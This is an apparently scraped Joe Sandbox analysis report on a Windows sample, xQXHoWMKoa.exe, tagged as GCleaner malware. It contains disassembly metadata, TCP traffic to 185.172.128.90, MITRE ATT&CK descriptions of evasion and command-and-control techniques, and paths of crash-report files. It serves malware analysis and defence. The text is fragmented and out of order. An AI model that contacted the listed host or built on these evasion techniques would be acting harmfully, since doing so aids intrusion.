Opcode ID: 1dd7ac1497c68547c7ffb59f21bd4fc4df614bfc7a32e7a6c6667bbe6f104434
Instruction ID: 65274f911ef85e104a8c592ea7a752ece469cbe28b6bf56a6389c662a6c1d48e
Opcode Fuzzy Hash: 1dd7ac1497c68547c7ffb59f21bd4fc4df614bfc7a32e7a6c6667bbe6f104434
Instruction Fuzzy Hash: D401DFB0E106098BDB20EFA9D94255D7BB0FF54700F50457EE91867391EB3A69058FCD

Uniqueness

Uniqueness Score: -1.00%

Function 036448E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 03648273: RtlEnterCriticalSection.NTDLL(0042B3A4), ref: 0364827E
Part of subcall function 03648273: RtlLeaveCriticalSection.NTDLL(0042B3A4), ref: 036482BB

__Init_thread_footer.LIBCMT ref: 0364495B

Part of subcall function 03648229: RtlEnterCriticalSection.NTDLL(0042B3A4), ref: 03648233
Part of subcall function 03648229: RtlLeaveCriticalSection.NTDLL(0042B3A4), ref: 03648266

Strings

^F^., xrefs: 0364493C
JBM, xrefs: 03644904

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: JBM$^F^.
API String ID: 4132704954-776405404
Opcode ID: d7d517dc23dda4587d74de5689825b5f415768334330daa925e354f18db28f80
Instruction ID: 64e4876fe49911ced9a1de3ff2f2456ac3133727d82025375bad530723127c57
Opcode Fuzzy Hash: d7d517dc23dda4587d74de5689825b5f415768334330daa925e354f18db28f80
Instruction Fuzzy Hash: 74018F74E106089BCB21EFA9E94156D77B0EF54300F90426ED8285B750EB36A9018BCD

Uniqueness

Uniqueness Score: -1.00%

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xQXHoWMKoa.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: GCleaner

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_0bdc8d69-8e2d-4916-98f4-e240f78a9879\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_6e2e51db-5a06-4548-9b3d-af2c418b903c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_74f6d4fe-d78d-47bf-aecf-6d5b1c3ba39f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_7dcbb10b-df83-4e6f-9b63-5201c606b345\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_90fd96f2-59eb-4ce6-9d1e-de15edba0462\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_e011f5d0-3b05-4084-9882-970e4d430110\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_fec04291-1d36-471c-9fcc-58b35baad30b\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD0EE.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD1E9.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD267.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD5B1.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD60F.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD630.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD822.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8AF.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8DF.tmp.xml

Windows Analysis Report
xQXHoWMKoa.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre